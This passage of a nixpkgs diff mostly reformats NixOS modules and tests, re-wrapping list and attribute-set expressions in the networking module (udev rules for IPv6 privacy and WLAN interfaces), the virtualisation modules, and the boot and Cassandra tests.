-                  ) "${pkgs.iw}/bin/iw dev ${device} set 4addr ${if current.fourAddr then "on" else "off"}"}
-                  ${optionalString (
-                    current.mac != null
-                  ) "${pkgs.iproute2}/bin/ip link set dev ${device} address ${current.mac}"}
-                '';
-
-              # Udev script to execute for a new WLAN interface. The script configures the new WLAN interface.
-              newInterfaceScript =
-                new:
-                pkgs.writeScript "udev-run-script-wlan-interfaces-${new._iName}.sh" ''
-                  #!${pkgs.runtimeShell}
-                  # Configure the new interface
-                  ${pkgs.iw}/bin/iw dev ${new._iName} set type ${new.type}
-                  ${optionalString (
-                    new.type == "mesh" && new.meshID != null
-                  ) "${pkgs.iw}/bin/iw dev ${new._iName} set meshid ${new.meshID}"}
-                  ${optionalString (
-                    new.type == "monitor" && new.flags != null
-                  ) "${pkgs.iw}/bin/iw dev ${new._iName} set monitor ${new.flags}"}
-                  ${optionalString (
-                    new.type == "managed" && new.fourAddr != null
-                  ) "${pkgs.iw}/bin/iw dev ${new._iName} set 4addr ${if new.fourAddr then "on" else "off"}"}
-                  ${optionalString (
-                    new.mac != null
-                  ) "${pkgs.iproute2}/bin/ip link set dev ${new._iName} address ${new.mac}"}
-                '';
-
-              # Udev attributes for systemd to name the device and to create a .device target.
-              systemdAttrs =
-                n:
-                ''NAME:="${n}", ENV{INTERFACE}="${n}", ENV{SYSTEMD_ALIAS}="/sys/subsystem/net/devices/${n}", TAG+="systemd"'';
-            in
-            flip (concatMapStringsSep "\n") (attrNames wlanDeviceInterfaces) (
-              device:
+    services.udev.packages = [
+      (pkgs.writeTextFile rec {
+        name = "ipv6-privacy-extensions.rules";
+        destination = "/etc/udev/rules.d/98-${name}";
+        text =
+          let
+            sysctl-value = tempaddrValues.${cfg.tempAddresses}.sysctl;
+          in
+          ''
+            # enable and prefer IPv6 privacy addresses by default
+            ACTION=="add", SUBSYSTEM=="net", RUN+="${pkgs.bash}/bin/sh -c 'echo ${sysctl-value} > /proc/sys/net/ipv6/conf/$name/use_tempaddr'"
+          '';
+      })
+      (pkgs.writeTextFile rec {
+        name = "ipv6-privacy-extensions.rules";
+        destination = "/etc/udev/rules.d/99-${name}";
+        text = concatMapStrings (
+          i:
+          let
+            opt = i.tempAddress;
+            val = tempaddrValues.${opt}.sysctl;
+            msg = tempaddrValues.${opt}.description;
+          in
+          ''
+            # override to ${msg} for ${i.name}
+            ACTION=="add", SUBSYSTEM=="net", NAME=="${i.name}", RUN+="${pkgs.procps}/bin/sysctl net.ipv6.conf.${
+              replaceStrings [ "." ] [ "/" ] i.name
+            }.use_tempaddr=${val}"
+          ''
+        ) (filter (i: i.tempAddress != cfg.tempAddresses) interfaces);
+      })
+    ]
+    ++ lib.optional (cfg.wlanInterfaces != { }) (
+      pkgs.writeTextFile {
+        name = "99-zzz-40-wlanInterfaces.rules";
+        destination = "/etc/udev/rules.d/99-zzz-40-wlanInterfaces.rules";
+        text =
+          let
+            # Collect all interfaces that are defined for a device
+            # as device:interface key:value pairs.
+            wlanDeviceInterfaces =
               let
-                interfaces = wlanListDeviceFirst device wlanDeviceInterfaces.${device};
-                curInterface = elemAt interfaces 0;
-                newInterfaces = drop 1 interfaces;
+                allDevices = unique (mapAttrsToList (_: v: v.device) cfg.wlanInterfaces);
+                interfacesOfDevice = d: filterAttrs (_: v: v.device == d) cfg.wlanInterfaces;
               in
-              ''
-                # It is important to have that rule first as overwriting the NAME attribute also prevents the
-                # next rules from matching.
-                ${flip (concatMapStringsSep "\n") (wlanListDeviceFirst device wlanDeviceInterfaces.${device}) (
-                  interface:
-                  ''ACTION=="add", SUBSYSTEM=="net", ENV{DEVTYPE}=="wlan", ENV{INTERFACE}=="${interface._iName}", ${systemdAttrs interface._iName}, RUN+="${newInterfaceScript interface}"''
-                )}
+              genAttrs allDevices (d: interfacesOfDevice d);
 
-                # Add the required, new WLAN interfaces to the default WLAN interface with the
-                # persistent, default name as assigned by udev.
-                ACTION=="add", SUBSYSTEM=="net", ENV{DEVTYPE}=="wlan", NAME=="${device}", ${systemdAttrs curInterface._iName}, RUN+="${
-                  curInterfaceScript device curInterface newInterfaces
-                }"
-                # Generate the same systemd events for both 'add' and 'move' udev events.
-                ACTION=="move", SUBSYSTEM=="net", ENV{DEVTYPE}=="wlan", NAME=="${device}", ${systemdAttrs curInterface._iName}
-              ''
-            );
-        }
-      );
+            # Convert device:interface key:value pairs into a list, and if it exists,
+            # place the interface which is named after the device at the beginning.
+            wlanListDeviceFirst =
+              device: interfaces:
+              if hasAttr device interfaces then
+                mapAttrsToList (n: v: v // { _iName = n; }) (filterAttrs (n: _: n == device) interfaces)
+                ++ mapAttrsToList (n: v: v // { _iName = n; }) (filterAttrs (n: _: n != device) interfaces)
+              else
+                mapAttrsToList (n: v: v // { _iName = n; }) interfaces;
+
+            # Udev script to execute for the default WLAN interface with the persistend udev name.
+            # The script creates the required, new WLAN interfaces interfaces and configures the
+            # existing, default interface.
+            curInterfaceScript =
+              device: current: new:
+              pkgs.writeScript "udev-run-script-wlan-interfaces-${device}.sh" ''
+                #!${pkgs.runtimeShell}
+                # Change the wireless phy device to a predictable name.
+                ${pkgs.iw}/bin/iw phy `${pkgs.coreutils}/bin/cat /sys/class/net/$INTERFACE/phy80211/name` set name ${device}
+
+                # Add new WLAN interfaces
+                ${flip concatMapStrings new (i: ''
+                  ${pkgs.iw}/bin/iw phy ${device} interface add ${i._iName} type managed
+                '')}
+
+                # Configure the current interface
+                ${pkgs.iw}/bin/iw dev ${device} set type ${current.type}
+                ${optionalString (
+                  current.type == "mesh" && current.meshID != null
+                ) "${pkgs.iw}/bin/iw dev ${device} set meshid ${current.meshID}"}
+                ${optionalString (
+                  current.type == "monitor" && current.flags != null
+                ) "${pkgs.iw}/bin/iw dev ${device} set monitor ${current.flags}"}
+                ${optionalString (
+                  current.type == "managed" && current.fourAddr != null
+                ) "${pkgs.iw}/bin/iw dev ${device} set 4addr ${if current.fourAddr then "on" else "off"}"}
+                ${optionalString (
+                  current.mac != null
+                ) "${pkgs.iproute2}/bin/ip link set dev ${device} address ${current.mac}"}
+              '';
+
+            # Udev script to execute for a new WLAN interface. The script configures the new WLAN interface.
+            newInterfaceScript =
+              new:
+              pkgs.writeScript "udev-run-script-wlan-interfaces-${new._iName}.sh" ''
+                #!${pkgs.runtimeShell}
+                # Configure the new interface
+                ${pkgs.iw}/bin/iw dev ${new._iName} set type ${new.type}
+                ${optionalString (
+                  new.type == "mesh" && new.meshID != null
+                ) "${pkgs.iw}/bin/iw dev ${new._iName} set meshid ${new.meshID}"}
+                ${optionalString (
+                  new.type == "monitor" && new.flags != null
+                ) "${pkgs.iw}/bin/iw dev ${new._iName} set monitor ${new.flags}"}
+                ${optionalString (
+                  new.type == "managed" && new.fourAddr != null
+                ) "${pkgs.iw}/bin/iw dev ${new._iName} set 4addr ${if new.fourAddr then "on" else "off"}"}
+                ${optionalString (
+                  new.mac != null
+                ) "${pkgs.iproute2}/bin/ip link set dev ${new._iName} address ${new.mac}"}
+              '';
+
+            # Udev attributes for systemd to name the device and to create a .device target.
+            systemdAttrs =
+              n:
+              ''NAME:="${n}", ENV{INTERFACE}="${n}", ENV{SYSTEMD_ALIAS}="/sys/subsystem/net/devices/${n}", TAG+="systemd"'';
+          in
+          flip (concatMapStringsSep "\n") (attrNames wlanDeviceInterfaces) (
+            device:
+            let
+              interfaces = wlanListDeviceFirst device wlanDeviceInterfaces.${device};
+              curInterface = elemAt interfaces 0;
+              newInterfaces = drop 1 interfaces;
+            in
+            ''
+              # It is important to have that rule first as overwriting the NAME attribute also prevents the
+              # next rules from matching.
+              ${flip (concatMapStringsSep "\n") (wlanListDeviceFirst device wlanDeviceInterfaces.${device}) (
+                interface:
+                ''ACTION=="add", SUBSYSTEM=="net", ENV{DEVTYPE}=="wlan", ENV{INTERFACE}=="${interface._iName}", ${systemdAttrs interface._iName}, RUN+="${newInterfaceScript interface}"''
+              )}
+
+              # Add the required, new WLAN interfaces to the default WLAN interface with the
+              # persistent, default name as assigned by udev.
+              ACTION=="add", SUBSYSTEM=="net", ENV{DEVTYPE}=="wlan", NAME=="${device}", ${systemdAttrs curInterface._iName}, RUN+="${
+                curInterfaceScript device curInterface newInterfaces
+              }"
+              # Generate the same systemd events for both 'add' and 'move' udev events.
+              ACTION=="move", SUBSYSTEM=="net", ENV{DEVTYPE}=="wlan", NAME=="${device}", ${systemdAttrs curInterface._iName}
+            ''
+          );
+      }
+    );
   };
 
 }
diff --git a/nixos/modules/virtualisation/containers.nix b/nixos/modules/virtualisation/containers.nix
index 4e07ec3d32bd..a0c7e826223d 100644
--- a/nixos/modules/virtualisation/containers.nix
+++ b/nixos/modules/virtualisation/containers.nix
@@ -117,13 +117,12 @@ in
 
     virtualisation.containers.containersConf.settings = {
       network.cni_plugin_dirs = map (p: "${lib.getBin p}/bin") cfg.containersConf.cniPlugins;
-      engine =
-        {
-          init_path = "${pkgs.catatonit}/bin/catatonit";
-        }
-        // lib.optionalAttrs cfg.ociSeccompBpfHook.enable {
-          hooks_dir = [ config.boot.kernelPackages.oci-seccomp-bpf-hook ];
-        };
+      engine = {
+        init_path = "${pkgs.catatonit}/bin/catatonit";
+      }
+      // lib.optionalAttrs cfg.ociSeccompBpfHook.enable {
+        hooks_dir = [ config.boot.kernelPackages.oci-seccomp-bpf-hook ];
+      };
     };
 
     virtualisation.containers.storage.settings.storage = {
diff --git a/nixos/modules/virtualisation/digital-ocean-config.nix b/nixos/modules/virtualisation/digital-ocean-config.nix
index a38d2d15ab84..f517ae5afcf6 100644
--- a/nixos/modules/virtualisation/digital-ocean-config.nix
+++ b/nixos/modules/virtualisation/digital-ocean-config.nix
@@ -100,10 +100,11 @@ with lib;
           };
           unitConfig = {
             ConditionPathExists = "!${doMetadataFile}";
-            After =
-              [ "network-pre.target" ]
-              ++ optional config.networking.dhcpcd.enable "dhcpcd.service"
-              ++ optional config.systemd.network.enable "systemd-networkd.service";
+            After = [
+              "network-pre.target"
+            ]
+            ++ optional config.networking.dhcpcd.enable "dhcpcd.service"
+            ++ optional config.systemd.network.enable "systemd-networkd.service";
           };
         };
 
diff --git a/nixos/modules/virtualisation/docker.nix b/nixos/modules/virtualisation/docker.nix
index e67ec76c4dea..9c7a28d5127e 100644
--- a/nixos/modules/virtualisation/docker.nix
+++ b/nixos/modules/virtualisation/docker.nix
@@ -286,11 +286,12 @@ in
           ];
         };
 
-        path =
-          [ pkgs.kmod ]
-          ++ optional (cfg.storageDriver == "zfs") pkgs.zfs
-          ++ optional cfg.enableNvidia pkgs.nvidia-docker
-          ++ cfg.extraPackages;
+        path = [
+          pkgs.kmod
+        ]
+        ++ optional (cfg.storageDriver == "zfs") pkgs.zfs
+        ++ optional cfg.enableNvidia pkgs.nvidia-docker
+        ++ cfg.extraPackages;
       };
 
       systemd.sockets.docker = {
diff --git a/nixos/modules/virtualisation/incus.nix b/nixos/modules/virtualisation/incus.nix
index 6c9ce89a7d9f..3b6b88766400 100644
--- a/nixos/modules/virtualisation/incus.nix
+++ b/nixos/modules/virtualisation/incus.nix
@@ -316,7 +316,8 @@ in
       "xt_CHECKSUM"
       "xt_MASQUERADE"
       "vhost_vsock"
-    ] ++ lib.optionals nvidiaEnabled [ "nvidia_uvm" ];
+    ]
+    ++ lib.optionals nvidiaEnabled [ "nvidia_uvm" ];
 
     environment.systemPackages = [
       cfg.clientPackage
@@ -358,23 +359,22 @@ in
           include "/var/lib/incus/security/apparmor/profiles"
         '';
       };
-      includes."abstractions/base" =
-        ''
-          # Allow incusd's various AA profiles to load dynamic libraries from Nix store
-          # https://discuss.linuxcontainers.org/t/creating-new-containers-vms-blocked-by-apparmor-on-nixos/21908/6
-          mr /nix/store/*/lib/*.so*,
-          r ${pkgs.stdenv.cc.libc}/lib/gconv/gconv-modules,
-          r ${pkgs.stdenv.cc.libc}/lib/gconv/gconv-modules.d/,
-          r ${pkgs.stdenv.cc.libc}/lib/gconv/gconv-modules.d/gconv-modules-extra.conf,
+      includes."abstractions/base" = ''
+        # Allow incusd's various AA profiles to load dynamic libraries from Nix store
+        # https://discuss.linuxcontainers.org/t/creating-new-containers-vms-blocked-by-apparmor-on-nixos/21908/6
+        mr /nix/store/*/lib/*.so*,
+        r ${pkgs.stdenv.cc.libc}/lib/gconv/gconv-modules,
+        r ${pkgs.stdenv.cc.libc}/lib/gconv/gconv-modules.d/,
+        r ${pkgs.stdenv.cc.libc}/lib/gconv/gconv-modules.d/gconv-modules-extra.conf,
 
-          # Support use of VM instance
-          mrix ${pkgs.qemu_kvm}/bin/*,
-          k ${OVMF2MB.fd}/FV/*.fd,
-          k ${pkgs.OVMFFull.fd}/FV/*.fd,
-        ''
-        + lib.optionalString pkgs.stdenv.hostPlatform.isx86_64 ''
-          k ${pkgs.seabios-qemu}/share/seabios/bios.bin,
-        '';
+        # Support use of VM instance
+        mrix ${pkgs.qemu_kvm}/bin/*,
+        k ${OVMF2MB.fd}/FV/*.fd,
+        k ${pkgs.OVMFFull.fd}/FV/*.fd,
+      ''
+      + lib.optionalString pkgs.stdenv.hostPlatform.isx86_64 ''
+        k ${pkgs.seabios-qemu}/share/seabios/bios.bin,
+      '';
     };
 
     systemd.services.incus = {
@@ -387,12 +387,14 @@ in
         "network-online.target"
         "lxcfs.service"
         "incus.socket"
-      ] ++ lib.optionals config.virtualisation.vswitch.enable [ "ovs-vswitchd.service" ];
+      ]
+      ++ lib.optionals config.virtualisation.vswitch.enable [ "ovs-vswitchd.service" ];
 
       requires = [
         "lxcfs.service"
         "incus.socket"
-      ] ++ lib.optionals config.virtualisation.vswitch.enable [ "ovs-vswitchd.service" ];
+      ]
+      ++ lib.optionals config.virtualisation.vswitch.enable [ "ovs-vswitchd.service" ];
 
       wants = [ "network-online.target" ];
 
diff --git a/nixos/modules/virtualisation/libvirtd.nix b/nixos/modules/virtualisation/libvirtd.nix
index 6d739cb0fa3d..4eac848e68a8 100644
--- a/nixos/modules/virtualisation/libvirtd.nix
+++ b/nixos/modules/virtualisation/libvirtd.nix
@@ -526,13 +526,12 @@ in
         ++ cfg.extraOptions
       );
 
-      path =
-        [
-          cfg.qemu.package
-          pkgs.netcat
-        ] # libvirtd requires qemu-img to manage disk images
-        ++ optional vswitch.enable vswitch.package
-        ++ optional cfg.qemu.swtpm.enable cfg.qemu.swtpm.package;
+      path = [
+        cfg.qemu.package
+        pkgs.netcat
+      ] # libvirtd requires qemu-img to manage disk images
+      ++ optional vswitch.enable vswitch.package
+      ++ optional cfg.qemu.swtpm.enable cfg.qemu.swtpm.package;
 
       serviceConfig = {
         Type = "notify";
diff --git a/nixos/modules/virtualisation/lxc-image-metadata.nix b/nixos/modules/virtualisation/lxc-image-metadata.nix
index c7c56aa5273a..ad1aad4216ef 100644
--- a/nixos/modules/virtualisation/lxc-image-metadata.nix
+++ b/nixos/modules/virtualisation/lxc-image-metadata.nix
@@ -134,7 +134,8 @@ in
           };
           target = "/metadata.yaml";
         }
-      ] ++ templates.files;
+      ]
+      ++ templates.files;
     };
   };
 }
diff --git a/nixos/modules/virtualisation/lxd-agent.nix b/nixos/modules/virtualisation/lxd-agent.nix
index 50d9a5f26fe9..7b7093d6f680 100644
--- a/nixos/modules/virtualisation/lxd-agent.nix
+++ b/nixos/modules/virtualisation/lxd-agent.nix
@@ -60,13 +60,14 @@ in
     systemd.services.lxd-agent = {
       enable = true;
       wantedBy = [ "multi-user.target" ];
-      before =
-        [ "shutdown.target" ]
-        ++ lib.optionals config.services.cloud-init.enable [
-          "cloud-init.target"
-          "cloud-init.service"
-          "cloud-init-local.service"
-        ];
+      before = [
+        "shutdown.target"
+      ]
+      ++ lib.optionals config.services.cloud-init.enable [
+        "cloud-init.target"
+        "cloud-init.service"
+        "cloud-init-local.service"
+      ];
       conflicts = [ "shutdown.target" ];
       path = [
         pkgs.kmod
diff --git a/nixos/modules/virtualisation/lxd.nix b/nixos/modules/virtualisation/lxd.nix
index 24d9701b06d6..55ad4b7ce94a 100644
--- a/nixos/modules/virtualisation/lxd.nix
+++ b/nixos/modules/virtualisation/lxd.nix
@@ -277,6 +277,7 @@ in
       "xt_CHECKSUM"
       "xt_MASQUERADE"
       "vhost_vsock"
-    ] ++ lib.optionals (!config.networking.nftables.enable) [ "iptable_mangle" ];
+    ]
+    ++ lib.optionals (!config.networking.nftables.enable) [ "iptable_mangle" ];
   };
 }
diff --git a/nixos/modules/virtualisation/nixos-containers.nix b/nixos/modules/virtualisation/nixos-containers.nix
index e5a0d37d6a9c..2c77b4a28112 100644
--- a/nixos/modules/virtualisation/nixos-containers.nix
+++ b/nixos/modules/virtualisation/nixos-containers.nix
@@ -846,7 +846,8 @@ in
 
               # Removed option. See `checkAssertion` below for the accompanying error message.
               pkgs = mkOption { visible = false; };
-            } // networkOptions;
+            }
+            // networkOptions;
 
             config =
               let
diff --git a/nixos/modules/virtualisation/oci-containers.nix b/nixos/modules/virtualisation/oci-containers.nix
index 0cd9acd9a042..ef1dc1a90da6 100644
--- a/nixos/modules/virtualisation/oci-containers.nix
+++ b/nixos/modules/virtualisation/oci-containers.nix
@@ -535,36 +535,35 @@ let
         RequiresMountsFor = "/run/user/${toString uid}/containers";
       };
 
-      serviceConfig =
-        {
-          ### There is no generalized way of supporting `reload` for docker
-          ### containers. Some containers may respond well to SIGHUP sent to their
-          ### init process, but it is not guaranteed; some apps have other reload
-          ### mechanisms, some don't have a reload signal at all, and some docker
-          ### images just have broken signal handling.  The best compromise in this
-          ### case is probably to leave ExecReload undefined, so `systemctl reload`
-          ### will at least result in an error instead of potentially undefined
-          ### behaviour.
-          ###
-          ### Advanced users can still override this part of the unit to implement
-          ### a custom reload handler, since the result of all this is a normal
-          ### systemd service from the perspective of the NixOS module system.
-          ###
-          # ExecReload = ...;
-          ###
-          ExecStartPre = [ "${preStartScript}/bin/pre-start" ];
-          TimeoutStartSec = 0;
-          TimeoutStopSec = 120;
-          Restart = "always";
-        }
-        // optionalAttrs (cfg.backend == "podman") {
-          Environment = "PODMAN_SYSTEMD_UNIT=podman-${name}.service";
-          Type = "notify";
-          NotifyAccess = "all";
-          Delegate = mkIf (container.podman.sdnotify == "healthy") true;
-          User = effectiveUser;
-          RuntimeDirectory = escapedName;
-        };
+      serviceConfig = {
+        ### There is no generalized way of supporting `reload` for docker
+        ### containers. Some containers may respond well to SIGHUP sent to their
+        ### init process, but it is not guaranteed; some apps have other reload
+        ### mechanisms, some don't have a reload signal at all, and some docker
+        ### images just have broken signal handling.  The best compromise in this
+        ### case is probably to leave ExecReload undefined, so `systemctl reload`
+        ### will at least result in an error instead of potentially undefined
+        ### behaviour.
+        ###
+        ### Advanced users can still override this part of the unit to implement
+        ### a custom reload handler, since the result of all this is a normal
+        ### systemd service from the perspective of the NixOS module system.
+        ###
+        # ExecReload = ...;
+        ###
+        ExecStartPre = [ "${preStartScript}/bin/pre-start" ];
+        TimeoutStartSec = 0;
+        TimeoutStopSec = 120;
+        Restart = "always";
+      }
+      // optionalAttrs (cfg.backend == "podman") {
+        Environment = "PODMAN_SYSTEMD_UNIT=podman-${name}.service";
+        Type = "notify";
+        NotifyAccess = "all";
+        Delegate = mkIf (container.podman.sdnotify == "healthy") true;
+        User = effectiveUser;
+        RuntimeDirectory = escapedName;
+      };
     };
 
 in
diff --git a/nixos/modules/virtualisation/parallels-guest.nix b/nixos/modules/virtualisation/parallels-guest.nix
index 4a16f63028e1..862d606dea64 100644
--- a/nixos/modules/virtualisation/parallels-guest.nix
+++ b/nixos/modules/virtualisation/parallels-guest.nix
@@ -58,7 +58,8 @@ in
       "prl_fs"
       "prl_fs_freeze"
       "prl_tg"
-    ] ++ optional (pkgs.stdenv.hostPlatform.system == "aarch64-linux") "prl_notifier";
+    ]
+    ++ optional (pkgs.stdenv.hostPlatform.system == "aarch64-linux") "prl_notifier";
 
     services.timesyncd.enable = false;
 
diff --git a/nixos/modules/virtualisation/podman/default.nix b/nixos/modules/virtualisation/podman/default.nix
index 6b9f72bf57e4..62bf38e31b18 100644
--- a/nixos/modules/virtualisation/podman/default.nix
+++ b/nixos/modules/virtualisation/podman/default.nix
@@ -161,9 +161,11 @@ in
                 config.systemd.package # To allow systemd-based container healthchecks
               ]
               ++ lib.optional (config.boot.supportedFilesystems.zfs or false) config.boot.zfs.package;
-            extraRuntimes =
-              [ pkgs.runc ]
-              ++ lib.optionals
+            extraRuntimes = [
+              pkgs.runc
+            ]
+            ++
+              lib.optionals
                 (
                   config.virtualisation.containers.containersConf.settings.network.default_rootless_network_cmd or ""
                   == "slirp4netns"
diff --git a/nixos/modules/virtualisation/qemu-vm.nix b/nixos/modules/virtualisation/qemu-vm.nix
index 4772cedb4beb..6f8371e6a8aa 100644
--- a/nixos/modules/virtualisation/qemu-vm.nix
+++ b/nixos/modules/virtualisation/qemu-vm.nix
@@ -1151,8 +1151,7 @@ in
     '';
 
     boot.initrd.availableKernelModules =
-      optional (cfg.qemu.diskInterface == "scsi") "sym53c8xx"
-      ++ optional (cfg.tpm.enable) "tpm_tis";
+      optional (cfg.qemu.diskInterface == "scsi") "sym53c8xx" ++ optional (cfg.tpm.enable) "tpm_tis";
 
     virtualisation.additionalPaths = [ config.system.build.toplevel ];
 
@@ -1303,7 +1302,8 @@ in
             "version=9p2000.L"
             "msize=${toString cfg.msize}"
             "x-systemd.requires=modprobe@9pnet_virtio.service"
-          ] ++ lib.optional (tag == "nix-store") "cache=loose";
+          ]
+          ++ lib.optional (tag == "nix-store") "cache=loose";
         };
       in
       lib.mkMerge [
diff --git a/nixos/modules/virtualisation/virtualbox-host.nix b/nixos/modules/virtualisation/virtualbox-host.nix
index 29e2d4340f3c..1ca612269303 100644
--- a/nixos/modules/virtualisation/virtualbox-host.nix
+++ b/nixos/modules/virtualisation/virtualbox-host.nix
@@ -119,18 +119,17 @@ in
               group = "vboxusers";
               setuid = true;
             };
-            executables =
-              [
-                "VBoxHeadless"
-                "VBoxNetAdpCtl"
-                "VBoxNetDHCP"
-                "VBoxNetNAT"
-                "VBoxVolInfo"
-              ]
-              ++ (lib.optionals (!cfg.headless) [
-                "VBoxSDL"
-                "VirtualBoxVM"
-              ]);
+            executables = [
+              "VBoxHeadless"
+              "VBoxNetAdpCtl"
+              "VBoxNetDHCP"
+              "VBoxNetNAT"
+              "VBoxVolInfo"
+            ]
+            ++ (lib.optionals (!cfg.headless) [
+              "VBoxSDL"
+              "VirtualBoxVM"
+            ]);
           in
           lib.mkIf cfg.enableHardening (
             builtins.listToAttrs (
diff --git a/nixos/modules/virtualisation/virtualbox-image.nix b/nixos/modules/virtualisation/virtualbox-image.nix
index 26633731f647..04d36c9ce82f 100644
--- a/nixos/modules/virtualisation/virtualbox-image.nix
+++ b/nixos/modules/virtualisation/virtualbox-image.nix
@@ -274,21 +274,20 @@ in
       '';
     };
 
-    fileSystems =
-      {
-        "/" = {
-          device = "/dev/disk/by-label/nixos";
-          autoResize = true;
-          fsType = "ext4";
-        };
-      }
-      // (lib.optionalAttrs (cfg.extraDisk != null) {
-        ${cfg.extraDisk.mountPoint} = {
-          device = "/dev/disk/by-label/" + cfg.extraDisk.label;
-          autoResize = true;
-          fsType = "ext4";
-        };
-      });
+    fileSystems = {
+      "/" = {
+        device = "/dev/disk/by-label/nixos";
+        autoResize = true;
+        fsType = "ext4";
+      };
+    }
+    // (lib.optionalAttrs (cfg.extraDisk != null) {
+      ${cfg.extraDisk.mountPoint} = {
+        device = "/dev/disk/by-label/" + cfg.extraDisk.label;
+        autoResize = true;
+        fsType = "ext4";
+      };
+    });
 
     boot.growPartition = true;
     boot.loader.grub.device = "/dev/sda";
diff --git a/nixos/modules/virtualisation/waagent.nix b/nixos/modules/virtualisation/waagent.nix
index 4929b8435170..4ddaad9185f7 100644
--- a/nixos/modules/virtualisation/waagent.nix
+++ b/nixos/modules/virtualisation/waagent.nix
@@ -329,7 +329,8 @@ in
       wantedBy = [ "multi-user.target" ];
       after = [
         "network-online.target"
-      ] ++ lib.optionals config.services.cloud-init.enable [ "cloud-init.service" ];
+      ]
+      ++ lib.optionals config.services.cloud-init.enable [ "cloud-init.service" ];
       wants = [
         "network-online.target"
         "sshd.service"
diff --git a/nixos/tests/boot.nix b/nixos/tests/boot.nix
index e15797765462..863d80e41dac 100644
--- a/nixos/tests/boot.nix
+++ b/nixos/tests/boot.nix
@@ -23,41 +23,40 @@ let
     let
       qemu = qemu-common.qemuBinary pkgs.qemu_test;
 
-      flags =
-        [
-          "-m"
-          (toString memory)
-          "-netdev"
-          ("user,id=net0" + (lib.optionalString (pxe != null) ",tftp=${pxe},bootfile=netboot.ipxe"))
-          "-device"
-          (
-            "virtio-net-pci,netdev=net0"
-            + (lib.optionalString (pxe != null && uefi) ",romfile=${pkgs.ipxe}/ipxe.efirom")
-          )
-        ]
-        ++ lib.optionals (cdrom != null) [
-          "-cdrom"
-          cdrom
-        ]
-        ++ lib.optionals (usb != null) [
-          "-device"
-          "usb-ehci"
-          "-drive"
-          "id=usbdisk,file=${usb},if=none,readonly"
-          "-device"
-          "usb-storage,drive=usbdisk"
-        ]
-        ++ lib.optionals (pxe != null) [
-          "-boot"
-          "order=n"
-        ]
-        ++ lib.optionals uefi [
-          "-drive"
-          "if=pflash,format=raw,unit=0,readonly=on,file=${pkgs.OVMF.firmware}"
-          "-drive"
-          "if=pflash,format=raw,unit=1,readonly=on,file=${pkgs.OVMF.variables}"
-        ]
-        ++ extraFlags;
+      flags = [
+        "-m"
+        (toString memory)
+        "-netdev"
+        ("user,id=net0" + (lib.optionalString (pxe != null) ",tftp=${pxe},bootfile=netboot.ipxe"))
+        "-device"
+        (
+          "virtio-net-pci,netdev=net0"
+          + (lib.optionalString (pxe != null && uefi) ",romfile=${pkgs.ipxe}/ipxe.efirom")
+        )
+      ]
+      ++ lib.optionals (cdrom != null) [
+        "-cdrom"
+        cdrom
+      ]
+      ++ lib.optionals (usb != null) [
+        "-device"
+        "usb-ehci"
+        "-drive"
+        "id=usbdisk,file=${usb},if=none,readonly"
+        "-device"
+        "usb-storage,drive=usbdisk"
+      ]
+      ++ lib.optionals (pxe != null) [
+        "-boot"
+        "order=n"
+      ]
+      ++ lib.optionals uefi [
+        "-drive"
+        "if=pflash,format=raw,unit=0,readonly=on,file=${pkgs.OVMF.firmware}"
+        "-drive"
+        "if=pflash,format=raw,unit=1,readonly=on,file=${pkgs.OVMF.variables}"
+      ]
+      ++ extraFlags;
 
       flagsStr = lib.concatStringsSep " " flags;
     in
diff --git a/nixos/tests/calibre-server.nix b/nixos/tests/calibre-server.nix
index 059058778526..c2a7a4fc6fa5 100644
--- a/nixos/tests/calibre-server.nix
+++ b/nixos/tests/calibre-server.nix
@@ -79,7 +79,8 @@ mapAttrs (
       calibreConfig = {
         enable = true;
         libraries = [ "/var/lib/calibre-server" ];
-      } // testConfig.calibreConfig or { };
+      }
+      // testConfig.calibreConfig or { };
       librariesInitScript = path: ''
         ${nodeName}.execute("touch /tmp/test.epub")
         ${nodeName}.execute("zip -r /tmp/test.zip /tmp/test.epub")
diff --git a/nixos/tests/cassandra.nix b/nixos/tests/cassandra.nix
index 326fd8852455..51d92735898a 100644
--- a/nixos/tests/cassandra.nix
+++ b/nixos/tests/cassandra.nix
@@ -81,79 +81,78 @@ import ./make-test-python.nix (
       cass2 = nodeCfg "192.168.1.3" { jvmOpts = [ "-Dcassandra.replace_address=cass1" ]; };
     };
 
-    testScript =
-      ''
-        # Check configuration
-        with subtest("Timers exist"):
-            cass0.succeed("systemctl list-timers | grep cassandra-full-repair.timer")
-            cass0.succeed("systemctl list-timers | grep cassandra-incremental-repair.timer")
+    testScript = ''
+      # Check configuration
+      with subtest("Timers exist"):
+          cass0.succeed("systemctl list-timers | grep cassandra-full-repair.timer")
+          cass0.succeed("systemctl list-timers | grep cassandra-incremental-repair.timer")
 
-        with subtest("Can connect via cqlsh"):
-            cass0.wait_for_unit("cassandra.service")
-            cass0.wait_until_succeeds("nc -z cass0 9042")
-            cass0.succeed("echo 'show version;' | cqlsh cass0")
+      with subtest("Can connect via cqlsh"):
+          cass0.wait_for_unit("cassandra.service")
+          cass0.wait_until_succeeds("nc -z cass0 9042")
+          cass0.succeed("echo 'show version;' | cqlsh cass0")
 
-        with subtest("Nodetool is operational"):
-            cass0.wait_for_unit("cassandra.service")
-            cass0.wait_until_succeeds("nc -z localhost ${jmxPortStr}")
-            cass0.succeed("nodetool status -p ${jmxPortStr} --resolve-ip | egrep '^UN[[:space:]]+cass0'")
+      with subtest("Nodetool is operational"):
+          cass0.wait_for_unit("cassandra.service")
+          cass0.wait_until_succeeds("nc -z localhost ${jmxPortStr}")
+          cass0.succeed("nodetool status -p ${jmxPortStr} --resolve-ip | egrep '^UN[[:space:]]+cass0'")
 
-        with subtest("Cluster name was set"):
-            cass0.wait_for_unit("cassandra.service")
-            cass0.wait_until_succeeds("nc -z localhost ${jmxPortStr}")
-            cass0.wait_until_succeeds(
-                "nodetool describecluster -p ${jmxPortStr} | grep 'Name: ${clusterName}'"
-            )
+      with subtest("Cluster name was set"):
+          cass0.wait_for_unit("cassandra.service")
+          cass0.wait_until_succeeds("nc -z localhost ${jmxPortStr}")
+          cass0.wait_until_succeeds(
+              "nodetool describecluster -p ${jmxPortStr} | grep 'Name: ${clusterName}'"
+          )
 
-        with subtest("Heap limit set correctly"):
-            # Nodetool takes a while until it can display info
-            cass0.wait_until_succeeds("nodetool info -p ${jmxPortStr}")
-            cass0.succeed("${checkHeapLimitCommand}")
+      with subtest("Heap limit set correctly"):
+          # Nodetool takes a while until it can display info
+          cass0.wait_until_succeeds("nodetool info -p ${jmxPortStr}")
+          cass0.succeed("${checkHeapLimitCommand}")
 
-        # Check cluster interaction
-        with subtest("Bring up cluster"):
-            cass1.wait_for_unit("cassandra.service")
